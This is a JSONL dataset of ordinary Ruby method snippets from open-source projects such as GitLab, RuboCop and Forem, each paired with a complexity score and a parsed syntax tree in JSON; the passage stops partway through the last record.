{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/first_array_element_line_break.rb","start_line":57,"raw_source":"def assignment_on_same_line?(node)\n          source = node.source_range.source_line[0...node.loc.column]\n          /\\s*=\\s*$/.match?(source)\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assignment_on_same_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"source_line\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"column\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*=\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}","id":"e9876b18-2915-4636-830b-eaa3a919198b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/families/invite.rb","start_line":48,"raw_source":"def invite_sendable?\n      unless invited_by.family_owner?\n        return add_error_and_false(:invited_by,\n                                   'You must be a family owner to send invitations')\n      end\n      return add_error_and_false(:family, 'Family is full') if family.full?\n      return add_error_and_false(:email, 'User is already in a family') if user_already_in_family?\n      return add_error_and_false(:email, 'Invitation already sent to this email') if pending_invitation_exists?\n\n      true\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_sendable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invited_by\"]},\"family_owner?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_error_and_false\",{\"type\":\"sym\",\"children\":[\"invited_by\"]},{\"type\":\"str\",\"children\":[\"You must be a family owner to send invitations\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"family\"]},\"full?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_error_and_false\",{\"type\":\"sym\",\"children\":[\"family\"]},{\"type\":\"str\",\"children\":[\"Family is full\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_already_in_family?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_error_and_false\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"User is already in a family\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_invitation_exists?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_error_and_false\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"Invitation already sent to this email\"]}]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"8987357c-4b93-4d3b-b287-a8c96c896829"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/edit_field.rb","start_line":168,"raw_source":"def expect_enabled!\n    expect(@context).to have_no_css \"#{@selector} #{input_selector}[disabled]\"\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_enabled!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"ivar\",\"children\":[\"@context\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@selector\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_selector\"]}]},{\"type\":\"str\",\"children\":[\"[disabled]\"]}]}]}]}]}","id":"4cc52870-f459-4bfb-86df-2a446b75c65e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241023085333_add_foreign_key_to_packages_conan_file_metadata_for_recipe_revision.rb","start_line":16,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :packages_conan_file_metadata, column: :recipe_revision_id\n    end\n    remove_concurrent_index_by_name :packages_conan_file_metadata, INDEX_NAME\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"recipe_revision_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}","id":"4326dfb5-695f-45b4-bd59-a83ea00d6669"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/resolver.rb","start_line":134,"raw_source":"def upstream_resolvers_for_query(name, type = Dnsruby::Types::A, cls = Dnsruby::Classes::IN)\n      name, type, cls = preprocess_query_arguments(name, type, cls)\n      net_packet = make_query_packet(name, type, cls)\n      # This returns a Net::DNS::Packet. Convert to Dnsruby::Message for consistency\n      packet = Rex::Proto::DNS::Packet.encode_drb(net_packet)\n      upstream_resolvers_for_packet(packet)\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upstream_resolvers_for_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"Types\"]},\"A\"]}]},{\"type\":\"optarg\",\"children\":[\"cls\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dnsruby\"]},\"Classes\"]},\"IN\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"cls\"]}]},{\"type\":\"send\",\"children\":[null,\"preprocess_query_arguments\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"cls\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"net_packet\",{\"type\":\"send\",\"children\":[null,\"make_query_packet\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"cls\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DNS\"]},\"Packet\"]},\"encode_drb\",{\"type\":\"lvar\",\"children\":[\"net_packet\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upstream_resolvers_for_packet\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]}]}]}","id":"e7da5005-df3b-45b4-8714-3c9918d600ea"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/tracker.rb","start_line":8,"raw_source":"def test_exception_in_error_list\n    @tracker.error Exception.new\n\n    assert_equal 1, @tracker.errors.length\n\n    @tracker.errors.each do |e|\n      assert e.has_key? :exception\n      assert e.has_key? :error\n      assert e.has_key? :backtrace\n\n      assert e[:exception].is_a? Exception\n      assert e[:error].is_a? String\n      assert e[:backtrace].is_a? Array\n    end\n  end","complexity_score":29.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exception_in_error_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"errors\"]},\"length\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"exception\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"backtrace\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exception\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Exception\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"backtrace\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}]}]}]}]}","id":"9b346000-20f8-468c-990d-ca871b2f96b2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/arel_helper.rb","start_line":6,"raw_source":"def stringify_arel(nodes, model = MiqReport)\n        visitor = Arel::Visitors::ToSql.new model.connection\n        Array.wrap(nodes).map { |node| visitor.accept(node, Arel::Collectors::SQLString.new).value }\n      end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"stringify_arel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]},{\"type\":\"optarg\",\"children\":[\"model\",{\"type\":\"const\",\"children\":[null,\"MiqReport\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visitor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Visitors\"]},\"ToSql\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"connection\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"nodes\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visitor\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Collectors\"]},\"SQLString\"]},\"new\"]}]},\"value\"]}]}]}]}","id":"f40d4af7-e822-4684-84cf-7ee70a501f05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/layouts/settings_section_component.rb","start_line":10,"raw_source":"def initialize(heading, description: nil, id: nil, testid: nil, options: {})\n      @heading = heading\n      @description = description\n      @id = id\n      @testid = testid\n      @options = options\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"heading\"]},{\"type\":\"kwoptarg\",\"children\":[\"description\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"testid\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@heading\",{\"type\":\"lvar\",\"children\":[\"heading\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@description\",{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@id\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@testid\",{\"type\":\"lvar\",\"children\":[\"testid\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"f7e4802c-1a1e-4588-a38d-0e1beb4b6380"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/feeds/basic.rb","start_line":12,"raw_source":"def default_home_feed(**_kwargs)\n        articles = Article.published\n          .order(hotness_score: :desc)\n          .with_at_least_home_feed_minimum_score\n          .limit(@number_of_articles)\n          .offset((@page - 1) * @number_of_articles)\n          .limited_column_select\n          .includes(:distinct_reaction_categories, :context_notes, top_comments: :user)\n          .from_subforem\n\n        return articles unless @user\n\n        articles = articles.where.not(user_id: UserBlock.cached_blocked_ids_for_blocker(@user.id))\n        if (hidden_tags = @user.cached_antifollowed_tag_names).any?\n          articles = articles.not_cached_tagged_with_any(hidden_tags)\n        end\n        articles.sort_by.with_index do |article, index|\n          tag_score = score_followed_tags(article)\n          user_score = score_followed_user(article)\n          org_score = score_followed_organization(article)\n\n          # NOTE: Not quite understanding the purpose of the `-\n          # index`.  My guess is that it helps reduce the impact of the\n          # hotness score on the sort order.\n          tag_score + org_score + user_score - index\n        end.reverse!\n      end","complexity_score":50.35,"ast_json":"{\"type\":\"def\",\"children\":[\"default_home_feed\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"_kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"articles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hotness_score\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"with_at_least_home_feed_minimum_score\"]},\"limit\",{\"type\":\"ivar\",\"children\":[\"@number_of_articles\"]}]},\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"ivar\",\"children\":[\"@number_of_articles\"]}]}]},\"limited_column_select\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"distinct_reaction_categories\"]},{\"type\":\"sym\",\"children\":[\"context_notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"top_comments\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},\"from_subforem\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"articles\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"articles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"articles\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserBlock\"]},\"cached_blocked_ids_for_blocker\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hidden_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"cached_antifollowed_tag_names\"]}]}]},\"any?\"]},{\"type\":\"lvasgn\",\"children\":[\"articles\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"articles\"]},\"not_cached_tagged_with_any\",{\"type\":\"lvar\",\"children\":[\"hidden_tags\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"articles\"]},\"sort_by\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_score\",{\"type\":\"send\",\"children\":[null,\"score_followed_tags\",{\"type\":\"lvar\",\"children\":[\"article\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_score\",{\"type\":\"send\",\"children\":[null,\"score_followed_user\",{\"type\":\"lvar\",\"children\":[\"article\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"org_score\",{\"type\":\"send\",\"children\":[null,\"score_followed_organization\",{\"type\":\"lvar\",\"children\":[\"article\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_score\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"org_score\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"user_score\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]},\"reverse!\"]}]}]}","id":"a35c1553-184e-4bf1-b2e4-b7f4151209c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/helpers/spinner.rb","start_line":82,"raw_source":"def success_mark\n          @success_mark ||= colorize(TTY::Spinner::TICK, :green)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"success_mark\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@success_mark\"]},{\"type\":\"send\",\"children\":[null,\"colorize\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TTY\"]},\"Spinner\"]},\"TICK\"]},{\"type\":\"sym\",\"children\":[\"green\"]}]}]}]}","id":"1f83ded4-eadc-454a-b880-9441124c8b8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/prometheus/internal.rb","start_line":36,"raw_source":"def self.prometheus_enabled?\n        Gitlab.config.prometheus.enabled if Gitlab.config.prometheus\n      rescue GitlabSettings::MissingSetting\n        Gitlab::AppLogger.error('prometheus.enabled is not present in config/gitlab.yml')\n\n        false\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prometheus_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"prometheus\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"prometheus\"]},\"enabled\"]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSettings\"]},\"MissingSetting\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"error\",{\"type\":\"str\",\"children\":[\"prometheus.enabled is not present in config/gitlab.yml\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"2ae013ab-f6ce-4479-a28a-2fd7a18f9548"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/pages/product_details.rb","start_line":17,"raw_source":"def default_sections\n        [\n          Spree::PageSections::Breadcrumbs.new,\n          Spree::PageSections::ProductDetails.new,\n          Spree::PageSections::RelatedProducts.new\n        ]\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_sections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageSections\"]},\"Breadcrumbs\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageSections\"]},\"ProductDetails\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageSections\"]},\"RelatedProducts\"]},\"new\"]}]}]}","id":"b4ac612a-316a-4228-a9bc-567fa388df3b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/jobs/captain/documents/response_builder_job.rb","start_line":64,"raw_source":"def reset_previous_responses(response_document)\n    response_document.responses.destroy_all\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_previous_responses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response_document\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_document\"]},\"responses\"]},\"destroy_all\"]}]}","id":"ca1be4d7-c86c-4380-afa5-e0b26b8fce33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/client.rb","start_line":145,"raw_source":"def put_tag(name, reference, manifest)\n      response = faraday(timeout_enabled: false).put(\"/v2/#{name}/manifests/#{reference}\") do |req|\n        req.headers['Content-Type'] = DOCKER_DISTRIBUTION_MANIFEST_V2_TYPE\n        req.body = Gitlab::Json.pretty_generate(manifest)\n      end\n\n      response.headers[DependencyProxy::Manifest::DIGEST_HEADER] if response.success?\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"put_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"reference\"]},{\"type\":\"arg\",\"children\":[\"manifest\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"faraday\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout_enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/v2/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"/manifests/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reference\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"const\",\"children\":[null,\"DOCKER_DISTRIBUTION_MANIFEST_V2_TYPE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"manifest\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"Manifest\"]},\"DIGEST_HEADER\"]}]},null]}]}]}","id":"04e83357-7488-4dac-9ae7-c062d47d5ff4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/select_kit.rb","start_line":103,"raw_source":"def select_row_by_name(name)\n        expanded_component.find(\".select-kit-row[data-name='#{name}']\").click\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"select_row_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expanded_component\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".select-kit-row[data-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},\"click\"]}]}","id":"40f31a69-e7d7-4c82-9f6d-1fbe80832d94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/lfs_pointers/lfs_import_service.rb","start_line":9,"raw_source":"def execute\n        return success unless project&.lfs_enabled?\n\n        LfsObjectDownloadListService.new(project, current_user,\n          { updated_revisions: params[:updated_revisions] }).each_list_item do |lfs_download_object|\n          LfsDownloadService.new(project, lfs_download_object).execute\n        end\n\n        success\n      rescue StandardError, GRPC::Core::CallError => e\n        error(e.message)\n      end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"lfs_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectDownloadListService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_revisions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"updated_revisions\"]}]}]}]}]},\"each_list_item\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lfs_download_object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsDownloadService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"lfs_download_object\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[null,\"success\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\"